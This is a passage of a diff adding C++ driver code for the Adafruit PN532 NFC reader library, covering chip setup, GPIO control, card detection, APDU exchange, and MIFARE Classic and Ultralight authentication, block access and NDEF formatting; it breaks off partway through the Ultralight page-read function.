+/**************************************************************************/ +/*! + @brief Wakeup from LowVbat mode into Normal Mode. +*/ +/**************************************************************************/ +void Adafruit_PN532::wakeup(void) { + // interface specific wakeups - each one is unique! + if (spi_dev) { + // hold CS low for 2ms + digitalWrite(_cs, LOW); + delay(2); + } else if (ser_dev) { + uint8_t w[3] = {0x55, 0x00, 0x00}; + ser_dev->write(w, 3); + delay(2); + } + + // PN532 will clock stretch I2C during SAMConfig as a "wakeup" + + // need to config SAM to stay in Normal Mode + SAMConfig(); +} + +/**************************************************************************/ +/*! + @brief Prints a hexadecimal value in plain characters + + @param data Pointer to the byte data + @param numBytes Data length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::PrintHex(const byte *data, const uint32_t numBytes) { + uint32_t szPos; + for (szPos = 0; szPos < numBytes; szPos++) { + PN532DEBUGPRINT.print(F("0x")); + // Append leading 0 for small values + if (data[szPos] <= 0xF) + PN532DEBUGPRINT.print(F("0")); + PN532DEBUGPRINT.print(data[szPos] & 0xff, HEX); + if ((numBytes > 1) && (szPos != numBytes - 1)) { + PN532DEBUGPRINT.print(F(" ")); + } + } + PN532DEBUGPRINT.println(); +} + +/**************************************************************************/ +/*! + @brief Prints a hexadecimal value in plain characters, along with + the char equivalents in the following format + + 00 00 00 00 00 00 ...... + + @param data Pointer to the byte data + @param numBytes Data length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::PrintHexChar(const byte *data, const uint32_t numBytes) { + uint32_t szPos; + for (szPos = 0; szPos < numBytes; szPos++) { + // Append leading 0 for small values + if (data[szPos] <= 0xF) + PN532DEBUGPRINT.print(F("0")); + PN532DEBUGPRINT.print(data[szPos], HEX); + if ((numBytes > 1) && (szPos != numBytes - 1)) { + PN532DEBUGPRINT.print(F(" ")); + } + } + PN532DEBUGPRINT.print(F(" ")); + for (szPos = 0; szPos < numBytes; szPos++) { + if (data[szPos] <= 0x1F) + PN532DEBUGPRINT.print(F(".")); + else + PN532DEBUGPRINT.print((char)data[szPos]); + } + PN532DEBUGPRINT.println(); +} + +/**************************************************************************/ +/*! + @brief Checks the firmware version of the PN5xx chip + + @returns The chip's firmware version and ID +*/ +/**************************************************************************/ +uint32_t Adafruit_PN532::getFirmwareVersion(void) { + uint32_t response; + + pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION; + + if (!sendCommandCheckAck(pn532_packetbuffer, 1)) { + return 0; + } + + // read data packet + readdata(pn532_packetbuffer, 13); + + // check some basic stuff + if (0 != memcmp((char *)pn532_packetbuffer, + (char *)pn532response_firmwarevers, 6)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Firmware doesn't match!")); +#endif + return 0; + } + + int offset = 7; + response = pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + + return response; +} + +/**************************************************************************/ +/*! + @brief Sends a command and waits a specified period for the ACK + + @param cmd Pointer to the command buffer + @param cmdlen The size of the command in bytes + @param timeout timeout before giving up + + @returns 1 if everything is OK, 0 if timeout occured before an + ACK was recieved +*/ +/**************************************************************************/ +// default timeout of one second +bool Adafruit_PN532::sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, + uint16_t timeout) { + + // I2C works without using IRQ pin by polling for RDY byte + // seems to work best with some delays between transactions + uint8_t SLOWDOWN = 0; + if (i2c_dev || spi_dev) // SPI and I2C need 1ms slow for page reads + SLOWDOWN = 1; + + // write the command + writecommand(cmd, cmdlen); + + // I2C TUNING + delay(SLOWDOWN); + + // Wait for chip to say its ready! + if (!waitready(timeout)) { + return false; + } + +#ifdef PN532DEBUG + if (spi_dev == NULL) { + PN532DEBUGPRINT.println(F("IRQ received")); + } +#endif + + // read acknowledgement + if (!readack()) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("No ACK frame received!")); +#endif + return false; + } + + // I2C TUNING + delay(SLOWDOWN); + + // Wait for chip to say its ready! + if (!waitready(timeout)) { + return false; + } + + return true; // ack'd command +} + +/**************************************************************************/ +/*! + @brief Writes an 8-bit value that sets the state of the PN532's GPIO + pins. + @param pinstate P3 pins state. + + @warning This function is provided exclusively for board testing and + is dangerous since it will throw an error if any pin other + than the ones marked "Can be used as GPIO" are modified! All + pins that can not be used as GPIO should ALWAYS be left high + (value = 1) or the system will become unstable and a HW reset + will be required to recover the PN532. + + pinState[0] = P30 Can be used as GPIO + pinState[1] = P31 Can be used as GPIO + pinState[2] = P32 *** RESERVED (Must be 1!) *** + pinState[3] = P33 Can be used as GPIO + pinState[4] = P34 *** RESERVED (Must be 1!) *** + pinState[5] = P35 Can be used as GPIO + + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::writeGPIO(uint8_t pinstate) { + // uint8_t errorbit; + + // Make sure pinstate does not try to toggle P32 or P34 + pinstate |= (1 << PN532_GPIO_P32) | (1 << PN532_GPIO_P34); + + // Fill command buffer + pn532_packetbuffer[0] = PN532_COMMAND_WRITEGPIO; + pn532_packetbuffer[1] = PN532_GPIO_VALIDATIONBIT | pinstate; // P3 Pins + pn532_packetbuffer[2] = 0x00; // P7 GPIO Pins (not used ... taken by SPI) + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Writing P3 GPIO: ")); + PN532DEBUGPRINT.println(pn532_packetbuffer[1], HEX); +#endif + + // Send the WRITEGPIO command (0x0E) + if (!sendCommandCheckAck(pn532_packetbuffer, 3)) + return 0x0; + + // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0F) DATACHECKSUM + // 00) + readdata(pn532_packetbuffer, 8); + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Received: ")); + PrintHex(pn532_packetbuffer, 8); + PN532DEBUGPRINT.println(); +#endif + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x0F); +} + +/**************************************************************************/ +/*! + Reads the state of the PN532's GPIO pins + + @returns An 8-bit value containing the pin state where: + + pinState[0] = P30 + pinState[1] = P31 + pinState[2] = P32 + pinState[3] = P33 + pinState[4] = P34 + pinState[5] = P35 +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::readGPIO(void) { + pn532_packetbuffer[0] = PN532_COMMAND_READGPIO; + + // Send the READGPIO command (0x0C) + if (!sendCommandCheckAck(pn532_packetbuffer, 1)) + return 0x0; + + // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0D) P3 P7 IO1 + // DATACHECKSUM 00) + readdata(pn532_packetbuffer, 11); + + /* READGPIO response should be in the following format: + + byte Description + ------------- ------------------------------------------ + b0..5 Frame header and preamble (with I2C there is an extra 0x00) + b6 P3 GPIO Pins + b7 P7 GPIO Pins (not used ... taken by SPI) + b8 Interface Mode Pins (not used ... bus select pins) + b9..10 checksum */ + + int p3offset = 7; + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Received: ")); + PrintHex(pn532_packetbuffer, 11); + PN532DEBUGPRINT.println(); + PN532DEBUGPRINT.print(F("P3 GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset], HEX); + PN532DEBUGPRINT.print(F("P7 GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 1], HEX); + PN532DEBUGPRINT.print(F("IO GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 2], HEX); + // Note: You can use the IO GPIO value to detect the serial bus being used + switch (pn532_packetbuffer[p3offset + 2]) { + case 0x00: // Using UART + PN532DEBUGPRINT.println(F("Using UART (IO = 0x00)")); + break; + case 0x01: // Using I2C + PN532DEBUGPRINT.println(F("Using I2C (IO = 0x01)")); + break; + case 0x02: // Using SPI + PN532DEBUGPRINT.println(F("Using SPI (IO = 0x02)")); + break; + } +#endif + + return pn532_packetbuffer[p3offset]; +} + +/**************************************************************************/ +/*! + @brief Configures the SAM (Secure Access Module) + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::SAMConfig(void) { + pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION; + pn532_packetbuffer[1] = 0x01; // normal mode; + pn532_packetbuffer[2] = 0x14; // timeout 50ms * 20 = 1 second + pn532_packetbuffer[3] = 0x01; // use IRQ pin! + + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) + return false; + + // read data packet + readdata(pn532_packetbuffer, 9); + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} + +/**************************************************************************/ +/*! + Sets the MxRtyPassiveActivation byte of the RFConfiguration register + + @param maxRetries 0xFF to wait forever, 0x00..0xFE to timeout + after mxRetries + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) { + pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION; + pn532_packetbuffer[1] = 5; // Config item 5 (MaxRetries) + pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF) + pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01) + pn532_packetbuffer[4] = maxRetries; + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Setting MxRtyPassiveActivation to ")); + PN532DEBUGPRINT.print(maxRetries, DEC); + PN532DEBUGPRINT.println(F(" ")); +#endif + + if (!sendCommandCheckAck(pn532_packetbuffer, 5)) + return 0x0; // no ACK + + return 1; +} + +/***** ISO14443A Commands ******/ + +/**************************************************************************/ +/*! + @brief Waits for an ISO14443A target to enter the field and reads + its ID. + + @param cardbaudrate Baud rate of the card + @param uid Pointer to the array that will be populated + with the card's UID (up to 7 bytes) + @param uidLength Pointer to the variable that will hold the + length of the card's UID. + @param timeout Timeout in milliseconds. + + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid, + uint8_t *uidLength, uint16_t timeout) { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) + pn532_packetbuffer[2] = cardbaudrate; + + if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("No card(s) read")); +#endif + return 0x0; // no cards read + } + + return readDetectedPassiveTargetID(uid, uidLength); +} + +/**************************************************************************/ +/*! + @brief Put the reader in detection mode, non blocking so interrupts + must be enabled. + @param cardbaudrate Baud rate of the card + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) + pn532_packetbuffer[2] = cardbaudrate; + + return sendCommandCheckAck(pn532_packetbuffer, 3); +} + +/**************************************************************************/ +/*! + Reads the ID of the passive target the reader has deteceted. + + @param uid Pointer to the array that will be populated + with the card's UID (up to 7 bytes) + @param uidLength Pointer to the variable that will hold the + length of the card's UID. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::readDetectedPassiveTargetID(uint8_t *uid, + uint8_t *uidLength) { + // read data packet + readdata(pn532_packetbuffer, 20); + // check some basic stuff + + /* ISO14443A card response should be in the following format: + + byte Description + ------------- ------------------------------------------ + b0..6 Frame header and preamble + b7 Tags Found + b8 Tag Number (only one used in this example) + b9..10 SENS_RES + b11 SEL_RES + b12 NFCID Length + b13..NFCIDLen NFCID */ + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Found ")); + PN532DEBUGPRINT.print(pn532_packetbuffer[7], DEC); + PN532DEBUGPRINT.println(F(" tags")); +#endif + if (pn532_packetbuffer[7] != 1) + return 0; + + uint16_t sens_res = pn532_packetbuffer[9]; + sens_res <<= 8; + sens_res |= pn532_packetbuffer[10]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("ATQA: 0x")); + PN532DEBUGPRINT.println(sens_res, HEX); + PN532DEBUGPRINT.print(F("SAK: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[11], HEX); +#endif + + /* Card appears to be Mifare Classic */ + *uidLength = pn532_packetbuffer[12]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("UID:")); +#endif + for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) { + uid[i] = pn532_packetbuffer[13 + i]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F(" 0x")); + PN532DEBUGPRINT.print(uid[i], HEX); +#endif + } +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(); +#endif + + return 1; +} + +/**************************************************************************/ +/*! + @brief Exchanges an APDU with the currently inlisted peer + + @param send Pointer to data to send + @param sendLength Length of the data to send + @param response Pointer to response data + @param responseLength Pointer to the response data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::inDataExchange(uint8_t *send, uint8_t sendLength, + uint8_t *response, + uint8_t *responseLength) { + if (sendLength > PN532_PACKBUFFSIZ - 2) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("APDU length too long for packet buffer")); +#endif + return false; + } + uint8_t i; + + pn532_packetbuffer[0] = 0x40; // PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = _inListedTag; + for (i = 0; i < sendLength; ++i) { + pn532_packetbuffer[i + 2] = send[i]; + } + + if (!sendCommandCheckAck(pn532_packetbuffer, sendLength + 2, 1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Could not send APDU")); +#endif + return false; + } + + if (!waitready(1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Response never received for APDU...")); +#endif + return false; + } + + readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); + + if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && + pn532_packetbuffer[2] == 0xff) { + uint8_t length = pn532_packetbuffer[3]; + if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Length check invalid")); + PN532DEBUGPRINT.println(length, HEX); + PN532DEBUGPRINT.println((~length) + 1, HEX); +#endif + return false; + } + if (pn532_packetbuffer[5] == PN532_PN532TOHOST && + pn532_packetbuffer[6] == PN532_RESPONSE_INDATAEXCHANGE) { + if ((pn532_packetbuffer[7] & 0x3f) != 0) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Status code indicates an error")); +#endif + return false; + } + + length -= 3; + + if (length > *responseLength) { + length = *responseLength; // silent truncation... + } + + for (i = 0; i < length; ++i) { + response[i] = pn532_packetbuffer[8 + i]; + } + *responseLength = length; + + return true; + } else { + PN532DEBUGPRINT.print(F("Don't know how to handle this command: ")); + PN532DEBUGPRINT.println(pn532_packetbuffer[6], HEX); + return false; + } + } else { + PN532DEBUGPRINT.println(F("Preamble missing")); + return false; + } +} + +/**************************************************************************/ +/*! + @brief 'InLists' a passive target. PN532 acting as reader/initiator, + peer acting as card/responder. + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::inListPassiveTarget() { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; + pn532_packetbuffer[2] = 0; + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("About to inList passive target")); +#endif + + if (!sendCommandCheckAck(pn532_packetbuffer, 3, 1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Could not send inlist message")); +#endif + return false; + } + + if (!waitready(30000)) { + return false; + } + + readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); + + if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && + pn532_packetbuffer[2] == 0xff) { + uint8_t length = pn532_packetbuffer[3]; + if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Length check invalid")); + PN532DEBUGPRINT.println(length, HEX); + PN532DEBUGPRINT.println((~length) + 1, HEX); +#endif + return false; + } + if (pn532_packetbuffer[5] == PN532_PN532TOHOST && + pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) { + if (pn532_packetbuffer[7] != 1) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Unhandled number of targets inlisted")); +#endif + PN532DEBUGPRINT.println(F("Number of tags inlisted:")); + PN532DEBUGPRINT.println(pn532_packetbuffer[7]); + return false; + } + + _inListedTag = pn532_packetbuffer[8]; + PN532DEBUGPRINT.print(F("Tag number: ")); + PN532DEBUGPRINT.println(_inListedTag); + + return true; + } else { +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Unexpected response to inlist passive host")); +#endif + return false; + } + } else { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Preamble missing")); +#endif + return false; + } + + return true; +} + +/***** Mifare Classic Functions ******/ + +/**************************************************************************/ +/*! + @brief Indicates whether the specified block number is the first block + in the sector (block 0 relative to the current sector) + @param uiBlock Block number to test. + @return true if first block, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::mifareclassic_IsFirstBlock(uint32_t uiBlock) { + // Test if we are in the small or big sectors + if (uiBlock < 128) + return ((uiBlock) % 4 == 0); + else + return ((uiBlock) % 16 == 0); +} + +/**************************************************************************/ +/*! + @brief Indicates whether the specified block number is the sector + trailer. + @param uiBlock Block number to test. + @return true if sector trailer, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::mifareclassic_IsTrailerBlock(uint32_t uiBlock) { + // Test if we are in the small or big sectors + if (uiBlock < 128) + return ((uiBlock + 1) % 4 == 0); + else + return ((uiBlock + 1) % 16 == 0); +} + +/**************************************************************************/ +/*! + Tries to authenticate a block of memory on a MIFARE card using the + INDATAEXCHANGE command. See section 7.3.8 of the PN532 User Manual + for more information on sending MIFARE and other commands. + + @param uid Pointer to a byte array containing the card UID + @param uidLen The length (in bytes) of the card's UID (Should + be 4 for MIFARE Classic) + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param keyNumber Which key type to use during authentication + (0 = MIFARE_CMD_AUTH_A, 1 = MIFARE_CMD_AUTH_B) + @param keyData Pointer to a byte array containing the 6 byte + key value + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_AuthenticateBlock(uint8_t *uid, + uint8_t uidLen, + uint32_t blockNumber, + uint8_t keyNumber, + uint8_t *keyData) { + // uint8_t len; + uint8_t i; + + // Hang on to the key and uid data + memcpy(_key, keyData, 6); + memcpy(_uid, uid, uidLen); + _uidLen = uidLen; + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to authenticate card ")); + Adafruit_PN532::PrintHex(_uid, _uidLen); + PN532DEBUGPRINT.print(F("Using authentication KEY ")); + PN532DEBUGPRINT.print(keyNumber ? 'B' : 'A'); + PN532DEBUGPRINT.print(F(": ")); + Adafruit_PN532::PrintHex(_key, 6); +#endif + + // Prepare the authentication command // + pn532_packetbuffer[0] = + PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */ + pn532_packetbuffer[1] = 1; /* Max card numbers */ + pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A; + pn532_packetbuffer[3] = + blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */ + memcpy(pn532_packetbuffer + 4, _key, 6); + for (i = 0; i < _uidLen; i++) { + pn532_packetbuffer[10 + i] = _uid[i]; /* 4 byte card ID */ + } + + if (!sendCommandCheckAck(pn532_packetbuffer, 10 + _uidLen)) + return 0; + + // Read the response packet + readdata(pn532_packetbuffer, 12); + + // check if the response is valid and we are authenticated??? + // for an auth success it should be bytes 5-7: 0xD5 0x41 0x00 + // Mifare auth error is technically byte 7: 0x14 but anything other and 0x00 + // is not good + if (pn532_packetbuffer[7] != 0x00) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Authentification failed: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 12); +#endif + return 0; + } + + return 1; +} + +/**************************************************************************/ +/*! + Tries to read an entire 16-byte data block at the specified block + address. + + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param data Pointer to the byte array that will hold the + retrieved data (if any) + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_ReadDataBlock(uint8_t blockNumber, + uint8_t *data) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to read 16 bytes from block ")); + PN532DEBUGPRINT.println(blockNumber); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = + blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for read command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] != 0x00) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + + /* Copy the 16 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + memcpy(data, pn532_packetbuffer + 8, 16); + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Block ")); + PN532DEBUGPRINT.println(blockNumber); + Adafruit_PN532::PrintHexChar(data, 16); +#endif + + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 16-byte data block at the specified block + address. + + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param data The byte array that contains the data to write. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber, + uint8_t *data) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 16 bytes to block ")); + PN532DEBUGPRINT.println(blockNumber); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_WRITE; /* Mifare Write command = 0xA0 */ + pn532_packetbuffer[3] = + blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ + memcpy(pn532_packetbuffer + 4, data, 16); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 20)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + return 1; +} + +/**************************************************************************/ +/*! + Formats a Mifare Classic card to store NDEF Records + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) { + uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, + 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; + uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, + 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; + uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77, + 0x88, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + + // Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A + // for the MAD sector in NDEF records (sector 0) + + // Write block 1 and 2 to the card + if (!(mifareclassic_WriteDataBlock(1, sectorbuffer1))) + return 0; + if (!(mifareclassic_WriteDataBlock(2, sectorbuffer2))) + return 0; + // Write key A and access rights card + if (!(mifareclassic_WriteDataBlock(3, sectorbuffer3))) + return 0; + + // Seems that everything was OK (?!) + return 1; +} + +/**************************************************************************/ +/*! + Writes an NDEF URI Record to the specified sector (1..15) + + Note that this function assumes that the Mifare Classic card is + already formatted to work as an "NFC Forum Tag" and uses a MAD1 + file system. You can use the NXP TagWriter app on Android to + properly format cards for this. + + @param sectorNumber The sector that the URI record should be written + to (can be 1..15 for a 1K card) + @param uriIdentifier The uri identifier code (0 = none, 0x01 = + "http://www.", etc.) + @param url The uri text to write (max 38 characters). + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber, + uint8_t uriIdentifier, + const char *url) { + // Figure out how long the string is + uint8_t len = strlen(url); + + // Make sure we're within a 1K limit for the sector number + if ((sectorNumber < 1) || (sectorNumber > 15)) + return 0; + + // Make sure the URI payload is between 1 and 38 chars + if ((len < 1) || (len > 38)) + return 0; + + // Note 0xD3 0xF7 0xD3 0xF7 0xD3 0xF7 must be used for key A + // in NDEF records + + // Setup the sector buffer (w/pre-formatted TLV wrapper and NDEF message) + uint8_t sectorbuffer1[16] = {0x00, + 0x00, + 0x03, + (uint8_t)(len + 5), + 0xD1, + 0x01, + (uint8_t)(len + 1), + 0x55, + uriIdentifier, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00}; + uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0x7F, 0x07, + 0x88, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + if (len <= 6) { + // Unlikely we'll get a url this short, but why not ... + memcpy(sectorbuffer1 + 9, url, len); + sectorbuffer1[len + 9] = 0xFE; + } else if (len == 7) { + // 0xFE needs to be wrapped around to next block + memcpy(sectorbuffer1 + 9, url, len); + sectorbuffer2[0] = 0xFE; + } else if ((len > 7) && (len <= 22)) { + // Url fits in two blocks + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, len - 7); + sectorbuffer2[len - 7] = 0xFE; + } else if (len == 23) { + // 0xFE needs to be wrapped around to final block + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, len - 7); + sectorbuffer3[0] = 0xFE; + } else { + // Url fits in three blocks + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, 16); + memcpy(sectorbuffer3, url + 23, len - 24); + sectorbuffer3[len - 22] = 0xFE; + } + + // Now write all three blocks back to the card + if (!(mifareclassic_WriteDataBlock(sectorNumber * 4, sectorbuffer1))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 1, sectorbuffer2))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 2, sectorbuffer3))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 3, sectorbuffer4))) + return 0; + + // Seems that everything was OK (?!) + return 1; +} + +/***** Mifare Ultralight Functions ******/ + +/**************************************************************************/ +/*! + @brief Tries to read an entire 4-byte page at the specified address. + + @param page The page number (0..63 in most cases) + @param buffer Pointer to the byte array that will hold the + retrieved data (if any) + @return 1 on success, 0 on error. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareultralight_ReadPage(uint8_t page, + uint8_t *buffer) { + if (page >= 64) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Reading page ")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Received: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] == 0x00) { + /* Copy the 4 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + /* Note that the command actually reads 16 byte or 4 */ + /* pages at a time ... we simply discard the last 12 */ + /* bytes */ + memcpy(buffer, pn532_packetbuffer + 8, 4); + } else { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); + 